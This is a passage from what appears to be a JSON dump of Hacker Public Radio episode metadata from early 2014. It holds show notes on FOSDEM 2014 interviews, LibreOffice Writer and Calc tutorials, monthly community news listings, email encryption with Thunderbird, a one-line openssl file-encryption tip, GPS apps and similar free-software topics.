      \nTrack name                               : Free Software Song\nPerformer                                : Fenster\nRecorded date                            : 2002\nCopyright                                : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
      \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM,2014,interviews","version":0,"downloads":1362,"valid":1}, {"id":1454,"date":"2014-02-27","title":"HPR Coverage at FOSDEM 2014 Part 5","duration":6030,"summary":"FOSDEM 2014 Report, part 5","notes":"

      HPR Coverage at FOSDEM 2014

      \n

      \nThe following are a series of interviews recorded at FOSDEM 2014.\n

      \n
      \nFOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.\n
      \n

      \nFor more information see the website https://fosdem.org/2014/, where you can watch a recording of the many talks https://video.fosdem.org/2014/\n

      \n

      Day 2 Part 3

      \n

      \"\"
      Free as in BEER

      \n\n

      00:00:28 Perl Community

      \n

      \nI chat with Wendy G.A. van Dijk who, while not selling cute camels, is promoting the Perl Community.\n

      \n

      \"\"
      perl nlpw::2014 Dutch Perl Workshop 25 April Utrecht

      \n
      \nPowerful, stable, mature, portable. Perl 5 is a highly capable, feature-rich programming language with over 26 years of development. Perl 5 runs on over 100 platforms from portables to mainframes and is suitable for both rapid prototyping and large scale development projects.\n
      \n

      \"\"
      A big camel

      \n

      Links

      \n\n\n

      00:07:42 RedHat

      \n

      \nFredric Hornain talks to us about G6 Containers, AS7, Qpid and much more.\n

      \n

      Links

      \n\n\n

      00:12:19 OpenOffice

      \n

      \nOliver-Rainer Wittmann from IBM takes some time to chat with us about OpenOffice.\n

      \n

      \"\"
      Swag at the OpenOffice booth

      \n
      \nApache OpenOffice is the leading open-source office software suite for word processing, spreadsheets, presentations, graphics, databases and more. It is available in many languages and works on all common computers. It stores all your data in an international open standard format and can also read and write files from other common office software packages. It can be downloaded and used completely free of charge for any purpose.\n
      \n

      Links

      \n\n\n

      00:24:07 Elasticsearch

      \n

      \nHonza Kral takes some time out to chat with us about the Elasticsearch ELK Stack. \n

      \n

      \"\"
      Honza Kral from Elasticsearch

      \n
      \nBy combining the massively popular Elasticsearch, Logstash and Kibana we have created an end-to-end stack that delivers actionable insights in real-time from almost any type of structured and unstructured data source. Built and supported by the engineers behind each of these open source products, the Elasticsearch ELK stack makes searching and analyzing data easier than ever before.\n
      \n

      Links

      \n\n\n

      00:33:25 LibreOffice

      \n

      \nWe have a great conversation with Cor Nouws, who proves that you can earn a living supporting Free Software.\n

      \n

      \"\"
      The hard working Libreoffice booth team

      \n
      \nLibreOffice is the most widely used free open source office software. It is a community-driven project of The Document Foundation. LibreOffice is developed by professionals and by users, just like you, who believe in the principles of free software and in sharing their work with the world in a non-restrictive way. At the core of these principles is the promise of better-quality, highly-reliable and secure software that gives you greater flexibility at zero cost and no end-user lock-in. LibreOffice works natively with the Open Document Format, but also brings you support for by far the most file types for office-documents. It comes with support for over 80 languages and with a whole amount of other unique features to work with your texts, spreadsheets, presentations, drawings and data.\n
      \n

      Links

      \n\n\n

      00:47:34 guifi.net

      \n

      \nRogier Baig talks to us about the roll out of peer to peer networks.\n

      \n
      \nguifi.net is a telecommunications network, is open, free and neutral because is built through a peer to peer agreement where everyone can join the network by providing his connection, and therefore, extending the network and gaining connectivity to all. guifi.net is owned by all who join. Is a collaborative project horizontally managed composed by individuals, organizations, enterprises, education institutions and universities and government offices. Is open so everyone can participate in same terms and conditions within the scope of the Wireless Commons.\n
      \n

      Links

      \n\n\n

      00:58:01 Bareos

      \n

      \nJörg Steffens explains that bareos is not \"bare os\" but rather Bareos - Backup Archiving REcovery Open Sourced. \n

      \n
      \nBareos is a 100% open source fork of the backup project from bacula.org. The fork is in development since late 2010, it has a lot of new features. The source has been published on github, licensed AGPLv3.\n
      \n

      Links

      \n\n\n

      01:05:30 XMPP realtime lounge

      \n

      \nLights, Sensors, Switches, Dimmers and of course the obligatory RaspberryPi and a bread board. So what is this you ask ? Well Ralph Meijer, Edwin Mons and Joachim Lindborg explain the \"Internet of things\" and how they want to use the XMPP protocol to \"chat\" with your devices. The plan is simple: set-up each device so it can talk to XMPP, then you can use Jabber or any other XMPP client to talk to them.\n

      \n

      \"\"
      The lads from the XMPP realtime lounge

      \n
      \nThe Extensible Messaging and Presence Protocol (XMPP) is an open technology for real-time communication, which powers a wide range of applications including instant messaging, presence, multi-party chat, voice and video calls, collaboration, lightweight middleware, content syndication, and generalized routing of XML data. The technology pages provide more information about the various XMPP “building blocks”. Several books about Jabber/XMPP technologies are available, as well.\n
      \n

      Links

      \n\n\n

      01:24:09 Jitsi

      \n

      \nWe have a chat with Emil Ivov, the project lead of Jitsi.\n

      \n
      \nJitsi (formerly SIP Communicator) is an audio/video and chat communicator that supports protocols such as SIP, XMPP/Jabber, AIM/ICQ, Windows Live, Yahoo! and many other useful features. Jitsi is Open Source / Free Software, and is available under the terms of the LGPL.\n
      \n

      Links

      \n\n\n

      01:31:09 FOSDEM

      \n

      \nTo wrap up the show I managed to track down Jan-Frederik Martens from the FOSDEM team.\n

      \n
      \n\n
      \n

      Links

      \n\n\n

      01:36:36 Music - Entire Song

      \n
      \nTrack name                               : Free Software Song\nPerformer                                : Fenster\nRecorded date                            : 2002\nCopyright                                : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
      \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM,2014,interviews","version":0,"downloads":1364,"valid":1}, {"id":1455,"date":"2014-02-28","title":"23 - LibreOffice Writer Other Page Layout Options","duration":952,"summary":"This continues our look at page layout by looking at ways to do this other than by using frames.","notes":"

      Other Page Layout Options

      \n

      As we mentioned in beginning our look at Page Layout, you have some options other than just Page Styles and Frame Styles, useful though they are. So let’s spend a few moments looking at these other options and see how they work.

      \n

      Tables

      \n

      Tables can be a useful tool for more than just displaying tabular data. You can place different object in each cell of a table and so have some control over how things are laid out on the page. You could, for instance, place your sub-heads in a left-hand column, and the associated text in an adjoining column, which gives you the same effect as using the Marginalia style. And you can add pictures, charts, and other objects as well. You can even insert a table into a cell of another table to get more fine-grained control. In fact, in the days before Cascading Style Sheets and Javascript, tables were the primary way of laying out Web pages, though these days that is frowned upon, and in any case most Web pages are now created using some kind of CMS software like WordPress, or Drupal. The idea of using tables was more attractive when we realized you could turn-off the cell borders and make them invisible. Of course, in Writer documents that only works when they are printed. When opened on a computer the table borders are still visible, as indeed they would have to be for you to edit the document.

      \n

      \nFor the remainder of this article please see https://www.ahuka.com/?page_id=676\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer, Word Processing, Page Layout","version":0,"downloads":1325,"valid":1}, {"id":1456,"date":"2014-03-03","title":"HPR Community News for January 2014","duration":3190,"summary":"HPR Community News for January 2014","notes":"A monthly look at what has been going on in the HPR community. This is on the Saturday before the first Monday of the month.\n

      New hosts

      \n

      Welcome to our new hosts:
      \nmirwi, \ncyan, \nToeJet, \nJ. A. Mathis, and \nBill_MI.

      \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
      iddatetitlehost
      1413ohmroep hpr live 3, 01-08-2013, (Power)DNSNido Media
      1414ohmroep hpr live 4, 31-06-2013, operating lights at Observe Hack MakeNido Media
      141518 - LibreOffice Writer Working with Page StylesAhuka
      1416HPR New Year Show Part 1 2013-12-31T10:00:00Z to 2013-12-31T16:00:00ZVarious Hosts
      1417HPR New Year Show Part 2 2013-12-31T16:00:00Z to 2013-12-31T21:00:00ZVarious Hosts
      1418HPR New Year Show Part 3 2013-12-31T22:00:00Z to 2014-01-01T04:00:00ZVarious Hosts
      1419HPR New Year Show Part 4 2014-01-01T04:00:00Z to 2014-01-01T10:00:00ZVarious Hosts
      1420HPR New Year Show Part 5 2014-01-01T10:00:00Z to 2014-01-01T12:00:00ZVarious Hosts
      1421Statistics and PollingAhuka
      1422Setting up and using SSH and SOCKSCurtis Adkins (CPrompt^)
      1423Monty - The man behind your databasesSeetee
      1424ohmroep hpr live mini, 03-08-2013, Censorship and Hacking in the NetherlandsNido Media
      1425Ahuka 20 LibreOffice Writer FramesIntroduction and the Type TabAhuka
      1426A Visit to ReglueDavid Whitman
      1427Decoding HPR1216 the easy way and a bit moremirwi
      1428Coffee Stain Studios and the Sanctum gamesSeetee
      1429Debian sources.listHonkeymagoo
      1430thebestofyoutube.com download scriptKen Fallon
      1431Talking Twenty FourteenNYbill
      1432Fahrenheit 212cyan
      1433Ubuntu Quickly Ebook TemplateMike Hingley
      1434Why I made an account free androidToeJet
      143521 - LibreOffice Writer Frame Properties CompletedAhuka
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1360,"valid":1}, {"id":1457,"date":"2014-03-04","title":"Xubuntu, Kali on EeePc, Markdown Stuff, Pogoplug 4, and more.","duration":3103,"summary":"A review of several topics including Linux bug community participation and Markdown","notes":"

      \nThis episode is a review of several topics ranging from linux bug community participation, linux installation experiences, hosting services, and blogging using Markdown.\n

      \n

      \nHere is a brief list of the topics covered in this episode:\n

      \n\n
        \n
      • Xubuntu: UEFI support, easy to use, and community driven. \n
      • \n
      • Kali Linux on EeePc 1000H, old hardware revived. \n
      • \n
      • Blogging in Markdown: Scriptogr.am, ghost.org, Mou App, Redmine, Tumblr. \n
      • \n
      • Hosting Services and low end VPSs: Arvixe and Prometeus. \n
      • \n
      • PogoPlug v4 with Arch linux: simple, cheap and extensible. \n
      • \n
      • Gmail webclips: sometimes pretty cool. \n
      • \n
      • Check out some music, thanks to risky.biz. \n
      • \n
      \n\n

      Links:

      \n\n","hostid":231,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Xubuntu,Kali Linux,Markdown,PogoPlug,Hosting Services","version":0,"downloads":1499,"valid":1}, {"id":1458,"date":"2014-03-05","title":"Free Culture and Open Animation","duration":2550,"summary":"fscons, interview, anime, creative commons, free culture, animation","notes":"

      This interview with Julia Velkova and Konstantin Dimitriev will shed some light on free culture, open animation, Synfig Studio and the Russian animé being developed by the Morevna Project. Today, on Hacker Public Radio.

      \n

      \"Support Open Animation projects! Because they cary a lot of potential for inovation.\"
      -- Julia

      \n

      FSCONS 2012: \"Open animation projects: state of the art, problems and perspectives\"

      \n

      We all know of the Blender Projects, like Elephants Dream, Big Buck Bunny and Sintel, but do you know of any more? Creating an animated movie is hard. Many enthusiasts start projects up that soon thereafter unfortunately die off.

      \n

      The state of this area of interest is what Julia Velkova has concentrated her research on. At FSCONS 2012 she gave the first part of a presentation, painting a picture of the state of matters, then followed by open animator Konstantin Dimitriev who introduced both the Morevna Project and the free and open source tool Synfig Studio.

      \n

      At this presentation Konstantin showed the premiere trailer for his animé movie \"The Beautiful Queen Marya Morevna\", a modernized version of a traditional Russian tale. Both the trailer and Julia and Konstantins presentations are available on YouTube.

      \n

      Konstantin has used indiegogo to crowdfund a full time developer for Synfig Studio. He wrote: \"I am mentoring a full-time developer Ivan Mahonin, who is working on Synfig code. We have funded his work in previous months by running similar fundraising campaigns for October, November, December, January and February.\" So go help them with the rest of 2014 as well!

      \n

      Go help the Morevna Project and Synfig Studio, follow both Julia and Konstantin on Twitter to get updates on this very interesting part of the free and open community that I suspect we sometimes might forget.

      \n

      Stuff referenced in the episode

      \n\n

      How to reach me

      \n

      You should follow me and subscribe to All In IT Radio:

      \n\n","hostid":192,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FSCONS","version":0,"downloads":1440,"valid":1}, {"id":1459,"date":"2014-03-06","title":"Locational Privacy with retrotech-the lowly pager","duration":1138,"summary":"deepgeek advocates the use of a pager for privacy reasons","notes":"

      \nIn this episode, deepgeek suggests that adding and old, and perhaps laughable\nby modern standards, device to your mobile lifestyle. Deepgeek reveals that\nsaid device is the pager, but he eventually gives good reasons for doing so.\n

      \n

      \nThe primary reason is that the paging company does not know where you are, \nso they can't tell \"the man\" where you are. Other reasons are redundancy \nand trouble interpreting audio. But in the end, you find out why first \nresponders and medical and fire personal still use these devices, and how you, \nas a privacy lover, may reap benefits from using this technology also.\n

      \n

      \nSome links mentioned in case you want to follow them...\n

      \n

      \nDuck Duck Go search on locational privacy\nhttps://duckduckgo.com?q=locational+privacy\n

      \n

      \n\"privacy is dead\" audio\n

      \n\n\n\n

      \nUSA's two remaining paging companies\n

      \n\n\n\n

      don't forget to check out resellers for deals, like \"free pager with one year prepaid

      \n\n

      \nA good sms via email webpage\n

      \n\n","hostid":73,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"pager,privacy","version":0,"downloads":1581,"valid":1}, {"id":1460,"date":"2014-03-07","title":"The road warrios command line combat life.","duration":989,"summary":"Podcasting from the car Knightwise shows us his favorite command line applications and how he connec","notes":"

      \nPodcasting from the car Knightwise shows us his favorite command line applications and how he connects to them from anywhere.\n

      \n

      \nShownotes \n

      \n\n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"knightwise, hacks, lifehacks, howto, technology, linux, ssh","version":0,"downloads":1564,"valid":1}, {"id":1461,"date":"2014-03-10","title":"FOSDEM Keysigning Event","duration":1457,"summary":"I wanted to get my GPG key signed so I joined the FOSDEM 2014 keysigning event","notes":"

      \nI attended FOSDEM 2014 in Brussels, Belgium. During the conference there was a key signing event which I attended. These are my impressions of the process and the follow-up.\n

      \n

      Detailed notes:

      \n

      \nFOSDEM_Keysigning_Event.html\n

      \n\n

      Links

      \n\n\n\n","hostid":225,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"Security,Privacy,PGP,key,key signing","version":0,"downloads":1314,"valid":1}, {"id":1462,"date":"2014-03-11","title":"Encryption and Email with Thunderbird","duration":1421,"summary":"Ahuka discusses using Thunderbird and Enigmail to send and receive encrypted email","notes":"

      \nNow it is time to take a look at practical uses of encryption, and the number one use is for e-mail. Encrypted communication via e-mail is very desirable if you want to keep a secret. In the U.S. the current legal precedents say that any e-mail left on a server is not protected since you would have no expectation of privacy. This precedent was set many years ago when POP3 was the standard for all e-mail and people did not usually leave e-mail on a server. These days, many people use web-based e-mail or use a newer standard called IMAP which by default stores everything on the server. Perhaps you are one of these people, and thought that you had a right to expect privacy, but in the U.S. you dont, and I would expect that in many other countries the situation is no better.\n

      \n

      \nThere have been attempts to provide encrypted e-mail service from a service provider, but the problem here is that the provider usually has to have to the key in order to encrypt the e-mail, and if they have the key they can be compelled to give it up. Recently in the U.S. there was a case involving Ladar Levison who ran such a service called Lavabit. Lavabit encrypted mail in transit using TLS encryption, and he had the keys. When his service was used by Edward Snowden, the government came to get the keys. Now, Levison would have given them the key for Snowdens e-mail if he had been served a warrant, as he always made clear to his customers that he would obey proper legal demands. But in this case the government demanded that he turn over all of the keys for all his customers, and this was too far for Levison. He shut down his service rather than cooperate, and is a bit of a hero for that. But it illustrates that you are at the mercy of the service provider. If the government made this demand to Lavabit, you are safe in presuming they had made the same demand to other providers, and that they all cooperated with the government and said nothing to their customers. So it would be mistake to rely on 3rd party mail service providers to give you privacy. You need to control it yourself. But of course, after the last few lessons you know how to do that, and have your secure keys created. You just need to put them to use.\n

      \n

      \nFor the remainder of the show notes please see https://www.zwilnik.com/?page_id=547\n

      \n\n

      Links

      \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"encryption, email","version":0,"downloads":1471,"valid":1}, {"id":1463,"date":"2014-03-12","title":"Code Is a Life Sucking Abyss, Also My Story ","duration":925,"summary":"@sigflup","notes":"

      \nIn this episode of Hacker Public Radio @sigflup talks about some of the pitfalls of programming as well as her story as a programmer.\n

      ","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"programming","version":0,"downloads":1592,"valid":1}, {"id":1464,"date":"2014-03-13","title":"HPR Audiobook Club: Space Casey","duration":5892,"summary":"A discussion of Space Casey written and produced by Christiana Ellis","notes":"

      \nIn this episode of the HPR Audiobook Club Broam, Jonathan Nadeau, pokey and Christiana Ellis discuss the podiobooks.com presentation of Space Casey written and produced by Christiana Ellis. This episode contains spoilers in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. This audiobook was liked by all of the panellists on this episode.\n

      \n

      \n\"Book\n

      \n

      \nYou can download this audiobook for free (or voluntary donation) from https://podiobooks.com/title/space-casey/\n

      \n

      \nYou can buy a hard copy of the script-book used by the actors in this audiobook at https://www.lulu.com/shop/christiana-ellis/space-casey/paperback/product-15736459.html\n

      \n

      \nYou can buy the ebook version at https://www.lulu.com/shop/christiana-ellis/space-casey/ebook/product-17352326.html\n

      \n\n

      Beverages

      \n\n

      \nDuring this show the hosts also discuss beverages.\n

      \n\n\n\n

      Next Book

      \n\n

      \nOur next audiobook will be Shaman Tales 1: South Coast by Nathan Lowell. It is available at podiobooks.com The direct link is: https://podiobooks.com/title/shaman-tales-1-south-coast/ \nThis audiobook was suggested to us by Christiana Ellis, who liked it very much.\n

      \n\n

      Christiana Ellis

      \n\n

      \nYou can find more content (including podcasts) from Christiana Ellis at:\n

      \n\n\n\n

      \nJonathan Nadeau's website is https://accessiblefreedom.org/\n

      \n

      \nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\n

      \n

      \nSincerely,\nThe HPR_AudioBookClub\n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

      ","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"audiobook","version":0,"downloads":1455,"valid":1}, {"id":1465,"date":"2014-03-14","title":"24 - LibreOffice Writer A Brochure Project","duration":1572,"summary":"This concludes our look at page layout by showing these techniques at use in creating a Tri-fold bro","notes":"

      \nThe written version of this show can be found at https://www.ahuka.com/?page_id=676\nThe European version of the brochure.\nThe American version of the brochure.\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer, Word Processing, Page Layout","version":0,"downloads":1339,"valid":1}, {"id":1466,"date":"2014-03-17","title":"Thoughts on GPS","duration":1837,"summary":"pokey meanders through his thoughts on GPS.","notes":"

      \nI've always liked maps. Since getting a few GPS enabled devices maps have become even more useful to me, and I like them more and more all the time. Here is a brief episode on the GPS devices and map software that I use most often. I hope you enjoy my episode, and find something useful in it. The outro is a remix of Downright by Broam and Klaatu.\n

      ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"GPS,TomTom,OSM Tracker,OsmDroid,OsmAnd,WAZE","version":0,"downloads":1491,"valid":1}, {"id":1467,"date":"2014-03-18","title":"How to win Find-The-Difference games","duration":358,"summary":"pokey is probably better than you at \"Find The Difference\" games, but he won't be after this","notes":"

      \nThis is a neat little trick that I discovered that you can use to get really high scores on those \"Find The Difference\" games that they have at some bars (there's at least one in the Google Play store too). After I recorded this show I played to see just how high I could score, and I turned the score over.\n

      ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"game,Find The Difference","version":0,"downloads":1349,"valid":1}, {"id":1468,"date":"2014-03-19","title":"A Whole Lot of Nothing: Chromebook EOL, CentOS WTF, Non Mainstream GNU/Linux Distros and more...","duration":3545,"summary":"Beto covers a wide range of subjects in this episode","notes":"

      \nThis episode covers a little bit of everything. The end of life for Chromebooks and how that hurts in some ways, hacker public radio topics, CentOS and Red Hat joining, participate with a non mainstream GNU/Linux Distros, and much more.\n

      \n

      \nHere is a brief list of the topics and links covered in this episode:\n

      \n\n","hostid":231,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"XFCE,Debian,CentOS,Bridge Linux,Bedrock Linux,Ansible","version":0,"downloads":1559,"valid":1}, {"id":1469,"date":"2014-03-20","title":"HPR Community News for February 2014","duration":4711,"summary":"HPR Community News for February 2014","notes":"

      New hosts

      \n

      \nThere were no new hosts this month.\n

      \n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1436HPR New Year Show 2013-2014 After Show 1 of 4Various Hosts
      1437HPR New Year Show 2013-2014 After Show 2 of 4Various Hosts
      1438HPR New Year Show 2013-2014 After Show 3 of 4Various Hosts
      1439HPR New Year Show 2013-2014 After Show 4 of 4Various Hosts
      1440Creating a Key Pair - GUI ClientAhuka
      1441Jono Bacon and Stuart Langridge talk with pokeypokey
      1442Google Summer of CodeJonathan Nadeau
      1443Fahrenheit 0-100Bill_MI
      1444What is Firefox OS?J. A. Mathis
      144522 - LibreOffice Writer Other Frame StylesAhuka
      1446Interview with Fernando H. F. Botelho from the F123 groupKen Fallon
      1447HPR Coverage at FOSDEM 2014 Part 1/5Ken Fallon
      1448Intro to cable cuttingTracy Holz_Holzster
      1449Timelapse VideoPeter64
      1450My Mobile digital lifeKnightwise
      1451Jeremy Allison ~ the SAMBA projectKen Fallon
      1452HPR Coverage at FOSDEM 2014 Part 3Ken Fallon
      1453HPR Coverage at FOSDEM 2014 Part 4Ken Fallon
      1454HPR Coverage at FOSDEM 2014 Part 5Ken Fallon
      145523 - LibreOffice Writer Other Page Layout OptionsAhuka
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1356,"valid":1}, {"id":1470,"date":"2014-03-21","title":"Learn to read time with ccClock","duration":1442,"summary":"A teaching tool for children learning to read an analogue clock","notes":"

      Over the years the image of the clock has been abstracted and stylized to\na point where a long and a short line inside a circle, or even inside four\ndots on the ordinals, can be instantaneously recognized as a clock. This is\nperfectly fine if you already know how to read the analog clock but it makes\nno sense to use such a design as a teaching aid.

      \n
      \n\"oval \n\"Creative\n\n
      \n\n

      As a teaching device, you need to make sure all the information that has been abstracted away has been put back.

      \n

      That is the basic principle of the ccClock

      \n
        \n
      • The minute hand points at the minute dial
      • \n
      • All the minutes are listed removing the need to know the 5 or 15 math table
      • \n
      • The Clockwise direction is emphasized with arrows and text orientation.
      • \n
      • The two per day rotation of the hour hand is described using a concentric spiral
      • \n
      • The progression of day into night is indicated by recognizable icons of the rising and setting sun and moon
      • \n
      • The written format is described in the traditional dial digits
      • \n
      • The spoken form is described in speech balloons

      Links

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"analogue clock,telling time","version":0,"downloads":1541,"valid":1}, {"id":1471,"date":"2014-03-24","title":"Encrypt Your Stuff With Blowfish ","duration":300,"summary":"@sigflup tells us how to Encrypt Your Stuff With Blowfish with openssl on the command line","notes":"
      \nencrypting:\n$ openssl bf -e < my_file > my_file.bf\n\ndecrypting:\n$ openssl bf -d < my_file.bf > my_file\n
      ","hostid":115,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"openssl,BlowFish,encryption","version":0,"downloads":1576,"valid":1}, {"id":1472,"date":"2014-03-25","title":"How I Found Linux","duration":839,"summary":"CPrompt^ goes into how he found linux and never looked back...","notes":"

      \nCPrompt^ goes into how he found linux and never looked back...\n

      \n\n","hostid":252,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"Mandrake,Mandriva,OpenMandriva,Slackware,Debian,Ubuntu","version":0,"downloads":1512,"valid":1}, {"id":1473,"date":"2014-03-26","title":"FOSDEM Discussion","duration":1384,"summary":"Dave chats with his friend Tom about their experiences of FOSDEM 2014","notes":"

      \nI decided to attend FOSDEM 2014 this year. I had thought about going\nto last year's conference but didn't get organised enough to make it.\nWhen I mentioned my plans to my friend Tom, he thought he'd attend\ntoo, and we agreed to meet up there.\n

      \n

      \nWhen we got back from the conference I wanted to record a conversation\nwith Tom about our impressions of the event. We tried to do this four\ntimes before we finally managed it. We struggled through one recorder\nbattery failure and two Mumble failures before we achieved success.\nThis is the result of our conversation.\n

      \n

      \nApologies for the phone interference in the background, I hadn't\nrealised the recorder (a Tascam DR-07) would pick it up.\n

      \n\n

      Links:

      \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM","version":0,"downloads":1357,"valid":1}, {"id":1474,"date":"2014-03-27","title":"A behind the Curtain Look at OsmAnd (OSM Automated Navigation Directions) with Pokey and David","duration":5303,"summary":"David and Pokey talk about the OsmAnd app","notes":"

      \nThanks to Pokey for being the expert in this oggcast. \nNote: The song 'Do The Hokey Pokey is copyrighted'\n

      \n

      \nhttps://osmand.net\n

      \n\n

      Functionality

      \n\n

      \nOsmAnd (OSM Automated Navigation Directions) is a map and navigation application with access to the free, worldwide, and high-quality OpenStreetMap (OSM) data. All map data can be stored on your device's memory card for offline use. Via your device's GPS, OsmAnd offers routing, with optical and voice guidance, for car, bike, and pedestrian. All the main functionalities work both online and offline (no internet needed). Some of the main features:\n

      \n\n

      Navigation

      \n\n
        \n
      • Works online (fast) or offline (no roaming charges when you are abroad)\n
      • \n
      • Turn-by-turn voice guidance (recorded and synthesized voices)\n
      • \n
      • Optional lane guidance, street name display, and estimated time of arrival\n
      • \n
      • Supports intermediate points on your itinerary\n
      • \n
      • Automatic re-routing whenever you deviate from the route\n
      • \n
      • Search for places by address, by type (e.g.: restaurant, hotel, gas station, museum), or by geographical coordinates \n
      • \n
      \n\n

      Map Viewing

      \n\n
        \n
      • Display your position and orientation on the map\n
      • \n
      • Optionally align the map according to compass or your direction of motion\n
      • \n
      • Save your most important places as Favorites\n
      • \n
      • Display POIs (point of interests) around you\n
      • \n
      • Can display specialized online tile maps\n
      • \n
      • Can display satellite view (from Bing)\n
      • \n
      • Can display different overlays like touring/navigation GPX tracks and additional maps with customizable transparency\n
      • \n
      • Optionally display place names in English, local, or phonetic spelling \n
      • \n
      \n\n

      Use OpenStreetMap and Wikipedia Data

      \n\n
        \n
      • High quality information from the best collaborative projects of the world\n
      • \n
      • Global maps from OpenStreetMap, available per country or region\n
      • \n
      • Wikipedia POIs, great for sightseeing (not available in free version)\n
      • \n
      • Unlimited free download, directly from the app (download limit 16 map files in free version)\n
      • \n
      • Always up-to-date maps (updated at least once a month)\n
      • \n
      • Compact offline vector maps\n
      • \n
      • Select between complete map data and just road network (Example: All of Japan is 700 MB, or 200 MB for the road network only)\n
      • \n
      • Also supports online or cached tile maps \n
      • \n
      \n\n

      Safety Features

      \n\n
        \n
      • Optional automated day/night view switching\n
      • \n
      • Optional speed limit display, with reminder if you exceed it\n
      • \n
      • Optional speed-dependent map zooming\n
      • \n
      • Share your location so that your friends can find you \n
      • \n
      \n\n

      Bicycle and Pedestrian Features

      \n\n
        \n
      • The maps include foot, hiking, and bike paths, great for outdoor activities\n
      • \n
      • Special routing and display modes for bike and pedestrian\n
      • \n
      • Optional public transport stops (bus, tram, train) including line names\n
      • \n
      • Optional trip recording to local GPX file or online service\n
      • \n
      • Optional speed and altitude display\n
      • \n
      • Display of contour lines and hill-shading (via additional plugin) \n
      • \n
      \n\n

      Directly Contribute to OpenStreetMap

      \n\n
        \n
      • Report map bugs\n
      • \n
      • Upload GPX tracks to OSM directly from the app\n
      • \n
      • Add POIs and directly upload them to OSM (or later if offline)\n
      • \n
      • Optional trip recording also in background mode (while device is in sleep mode) \n
      • \n
      \n\n

      \nOsmAnd is open source and actively being developed. Everyone can contribute to the application by reporting bugs, improving translations, or coding new features. The project is in a lively state of continuous improvement by all these forms of developer and user interaction. The project progress also relies on financial contributions to fund the development, coding, and testing of new functionalities. By buying OsmAnd+ you help the application to be even more awesome! It is also possible to fund specific new features, or to make a general donation on osmand.net. \nhttps://osmand.net\n

      \n

      \nOsmAnd (OSM Automated Navigation Directions)\n

      \n

      \nGPL \n

      ","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OSM,map,GPS,OsmAnd","version":0,"downloads":1473,"valid":1}, {"id":1475,"date":"2014-03-28","title":"25 - LibreOffice Calc What Is A Spreadsheet","duration":820,"summary":"The origins and history of the spreadsheet","notes":"

      LibreOffice Calc: What is a Spreadsheet?

      \n

      There are different ways to answer this question. Functionally, spreadsheets are a tool for mathematical calculations, but have branched out into related areas like data analysis. Some people even use them as a quick-and-dirty database tool. If you are in a financial profession of some kind you probably live in spreadsheets all day.

      \n

      Spreadsheets are original “killer app”. Early examples were implemented on mainframe computers in the 1960s, but the big step was the creation of VisiCalc for the Apple II in 1979, which was then ported to the IBM PC in 1981. VisiCalc set the conventions that guided all subsequent spreadsheets, and the essential methods have not changed since then. VisiCalc was called the first killer app because people would buy the computer just to run the program, and the usefulness of spreadsheets is what promoted the initial entry of personal computers into the corporate world, with all of the change that has caused.

      \n

      \nFor the remainder of this article please see https://www.ahuka.com/?page_id=699\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet","version":0,"downloads":1454,"valid":1}, {"id":1476,"date":"2014-03-31","title":"Sega Genesis Music Driver","duration":1188,"summary":"@sigflup interviews kubilus1 about his VGM driver for the Sega Genesis/Megadrive","notes":"

      \nsigflup and kubilus1 talk about kubilus1's vgm driver for the Sega Genesis/Megadrive. \n

      \n\n

      Links

